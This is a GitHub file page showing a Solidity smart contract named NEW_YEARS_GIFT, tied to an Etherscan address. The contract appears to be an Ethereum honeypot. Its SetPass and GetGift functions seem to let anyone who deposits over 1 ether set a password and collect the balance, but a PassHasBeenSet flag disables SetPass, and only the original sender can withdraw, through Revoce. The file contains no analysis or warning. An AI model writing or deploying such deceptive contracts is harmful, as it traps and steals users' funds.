-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathNEW_YEARS_GIFT.sol
70 lines (58 loc) · 1.29 KB
/
NEW_YEARS_GIFT.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//https://etherscan.io/address/0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B
pragma solidity ^0.4.19;
contract NEW_YEARS_GIFT
{
string message;
bool passHasBeenSet = false;
address sender;
bytes32 public hashPass;
function() public payable{}
function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 )
{
hashPass = hash;
sender = msg.sender;
}
}
function SetMessage(string _message)
public
{
if(msg.sender==sender)
{
message =_message;
}
}
function GetGift(bytes pass)
external
payable
returns (string)
{
if(hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
return message;
}
}
function Revoce()
public
payable
{
if(msg.sender==sender)
{
sender.transfer(this.balance);
message="";
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(msg.sender==sender&&hash==hashPass)
{
passHasBeenSet=true;
}
}
}